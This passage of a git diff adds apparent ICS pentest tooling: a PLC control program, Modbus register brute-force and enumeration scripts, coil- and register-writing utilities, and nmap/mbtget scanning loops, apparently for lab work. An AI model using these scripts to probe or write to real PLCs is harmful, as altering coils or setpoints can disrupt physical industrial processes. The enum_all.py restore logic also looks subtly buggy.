AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + run_bit0 := NOT(run_bit); + MOVE99_OUT := MOVE(EN := NOT(run_bit0), IN := 0, ENO => MOVE99_ENO); + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data 